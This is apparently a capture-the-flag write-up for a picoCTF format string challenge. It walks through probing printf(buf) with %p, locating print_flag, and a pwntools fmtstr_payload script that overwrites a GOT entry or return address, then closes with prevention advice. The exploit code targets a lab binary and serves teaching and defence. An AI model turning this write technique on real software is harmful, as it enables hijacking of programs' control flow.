Description
The secure echo service welcomes you politely, but unsafe formatting still leaks control. Download vuln and vuln.c, then turn the echo back against itself.
Setup
Download vuln and its source code.
Read the source to understand how it echoes input.
cat vuln.cchmod +x vulnSolution
Walk me through it- Step 1Confirm the format string bug, check mitigationsRun checksec first - if Full RELRO is on, the GOT is read-only and you must overwrite the saved return address instead. Then probe with %p to confirm the bug.bash
cat vuln.cbashchecksec --file=./vulnbashecho '%p.%p.%p.%p.%p' | ./vulnpythonpython3 -c "from pwn import *; print(cyclic(100).decode())"Learn more
A format string vulnerability occurs when a C program passes user-controlled input directly to a format function like
printf(buf)instead of safely usingprintf("%s", buf). The format string controls howprintfreads the argument stack: specifiers like%p(print pointer),%x(print hex), and%n(write the number of bytes printed so far) all consume values from the stack regardless of what arguments were actually passed.Sending
%p.%p.%p.%pas input causesprintfto walk up the stack and print raw pointer values. Each value that appears is a word from the call frame - return addresses, saved registers, local variables, or your own input buffer. By counting which positional argument (%6$p,%7$p, etc.) produces your known cyclic pattern, you pinpoint the exact stack offset where your buffer lives, which tells you where to aim writes.This class of bug was extremely common in the early 2000s and remains a category in CTF competitions today. Real-world examples include vulnerabilities in
syslogwrappers and network daemons that echoed user input verbatim. MITRE classifies it as CWE-134 (Use of Externally-Controlled Format String). - Step 2Find the address of print_flag()Use objdump or pwntools to find the address of the print_flag() function - the function that reads and prints the flag.bash
objdump -d vuln | grep print_flagpythonpython3 -c "from pwn import *; e = ELF('./vuln'); print(hex(e.sym['print_flag']))"Learn more
objdump -ddisassembles the binary and prints each function's name and address from the symbol table. Because the binary is not stripped (CTF binaries typically leave symbols intact),print_flagappears by name. The address shown is the virtual address the function will occupy when the binary is loaded - assuming no ASLR or a binary where PIE (Position-Independent Executable) is disabled.Pwntools'
ELFclass parses the ELF symbol table automatically and exposes function addresses through thesymdictionary and GOT/PLT entries throughgotandplt. This is faster than parsingobjdumpoutput manually and integrates directly into the exploit script. You can also usenm vuln | grep print_flagor Ghidra's symbol browser for the same purpose.If PIE is enabled, the binary is randomised at load time and you first need a leak of the binary's base address (using
%preads from the GOT or stack) before computing the final address. Runningchecksec --file=./vulnshows whether PIE, stack canaries, or NX are enabled. - Step 3Overwrite the return address with a fmt stringLet pwntools find the offset for you with fmtstr_brute, then use fmtstr_payload to redirect printf's GOT entry (or the saved return address if Full RELRO blocks the GOT route) to print_flag.python
python3 << 'EOF' from pwn import * e = ELF("./vuln") # 1) Auto-discover the printf offset by sending probe payloads def conn(): return remote("<HOST>", <PORT_FROM_INSTANCE>) offset = fmtstr_brute(start_offset=4, max_offset=20, conn=conn) log.info(f"fmtstr offset = {offset}") print_flag = e.sym["print_flag"] p = conn() # Big targets (like a high-half ret addr) need %hn (2-byte) writes; # fmtstr_payload picks the smallest specifier that fits each chunk. payload = fmtstr_payload(offset, {e.got["printf"]: print_flag}) # Or, under Full RELRO where the GOT is read-only: # payload = fmtstr_payload(offset, {saved_ret_addr: print_flag}, write_size='short') p.sendlineafter(b"> ", payload) p.sendlineafter(b"> ", b"exit") # trigger the next printf / return print(p.recvall(timeout=3)) EOFLearn more
Pwntools'
fmtstr_payload(offset, writes)automates the most tedious part of format string exploitation. It builds a format string that uses%n-family specifiers to write arbitrary values to arbitrary addresses. Theoffsetparameter tells it which positional argument inprintf's argument list is the start of your buffer. Thewritesdictionary maps target addresses to desired values. The function handles splitting writes into byte-width chunks (%hhn,%hn) to minimise output length.Two common write targets exist: the GOT (Global Offset Table) and the saved return address. Overwriting
printf's GOT entry withprint_flag's address means the next call toprintfanywhere in the program actually callsprint_flag. Overwriting the return address directly redirects execution when the current function returns. The GOT approach is often easier because its address is fixed and known - unless the binary was linked with Full RELRO (-Wl,-z,relro,-z,now), which marks the GOT read-only after dynamic linking.checksectells you which is the case; under Full RELRO you must hit the saved return address instead.%hnwrites a 2-byte short instead of a full 4-byte int. When the target value is large (a 64-bit address with non-zero high bytes),fmtstr_payloadsplits the write into per-byte (%hhn) or per-short (%hn) chunks so the printed character count stays manageable. Passwrite_size='short'if the auto-selection produces something too long for the input buffer.The
%nspecifier writes the count of characters printed so far to the pointed-to integer. By carefully prepending padding (using%<width>cto print a specific number of characters), attackers control exactly what value gets written. Modern systems disable%nin some libc configurations, but CTF challenges are set up to allow it. This is why safe coding practices demandprintf("%s", user_input)always. - Step 4Read the flagAfter the format string overwrites the return address (or a GOT entry) with print_flag(), the server prints the flag when the function returns.
Learn more
Format string vulnerabilities combine arbitrary read (via
%p,%x,%s) and arbitrary write (via%n) into a single primitive. This makes them uniquely powerful: in one interaction you can leak addresses to defeat ASLR and then overwrite control-flow pointers to redirect execution - all without needing a separate memory corruption step.In real exploit chains, format string bugs are often chained with other vulnerabilities. For example, a format string leak defeats ASLR/PIE, then a subsequent buffer overflow uses the leaked addresses to build a ROP chain. The combination is sometimes called a two-stage exploit. CTF challenges like this one isolate the format string stage so you can practice the technique cleanly.
Mitigation in production code is straightforward: always pass a literal format string as the first argument to
printfand related functions. Compilers warn about this with-Wformat-security, and static analysers likeclang-tidyflag it automatically. Stack canaries and RELRO (Read-Only Relocations, which makes the GOT read-only) raise the bar for attackers but do not eliminate the vulnerability entirely.For deeper reading, see Format String Bugs for CTF and Pwntools for CTF.
Flag
picoCTF{3ch0_3sc4p3_1_...}
The echo service has printf(buf) - a format string vulnerability. Use pwntools' fmtstr_payload() to overwrite the return address or a GOT entry with the address of print_flag(), then send 'exit' to trigger it.
How to prevent this
How to prevent this
Format string with %n write primitive plus a print_flag() function reachable by hijacking control flow. Cut either path.
- Always pass a literal format:
printf("%s", buf). Build with-Werror=format-security; the compiler will refuse to link the bug. - Enable full RELRO (
-Wl,-z,relro,-z,now) so the GOT becomes read-only after startup.fmtstr_payloadcan no longer overwrite GOT entries to hijack futureprintf/putscalls. - Strip out
%nsupport with-D_FORTIFY_SOURCE=2. Most binaries don't need write-via-format and turning it off is a free defense.